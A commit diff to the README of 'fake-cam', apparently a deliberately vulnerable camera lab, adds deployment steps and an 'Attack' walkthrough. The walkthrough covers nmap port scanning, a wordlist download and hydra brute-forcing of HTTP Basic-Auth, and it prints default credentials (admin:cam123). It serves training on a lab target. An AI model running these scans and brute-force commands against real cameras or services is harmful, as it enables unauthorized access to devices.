fix(docs): Updated docs
This commit is contained in:
37
README.md
37
README.md
@@ -22,8 +22,43 @@ git clone https://git.phorge.fr/l-nmch/fake-cam.git
|
|||||||
docker compose build
|
docker compose build
|
||||||
```
|
```
|
||||||
|
|
||||||
3. Run the container
|
## Deploy
|
||||||
|
|
||||||
|
1. Run the container
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker compose up -d
|
docker compose up -d
|
||||||
```
|
```
|
||||||
|
|
||||||
|
2. Verify cam access
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -u admin:cam123 http://<ip>:3301
|
||||||
|
```
|
||||||
|
|
||||||
|
## Attack
|
||||||
|
|
||||||
|
1. Install required tools
|
||||||
|
|
||||||
|
```bash
|
||||||
|
apt install hydra curl nmap zip unzip -y
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Download the [wordlist](./wordlist.txt)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
wget https://git.phorge.fr/l-nmch/fake-cam/raw/branch/master/wordlist.txt
|
||||||
|
unzip rockyou.txt.zip
|
||||||
|
```
|
||||||
|
|
||||||
|
3. Find open ports:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
nmap -sC -sV <ip>
|
||||||
|
```
|
||||||
|
|
||||||
|
4. Bruteforce Basic-Auth
|
||||||
|
|
||||||
|
```bash
|
||||||
|
hydra -l admin -P wordlist.txt -s 3301 <ip> http-get /
|
||||||
|
```
|
||||||
Reference in New Issue
Block a user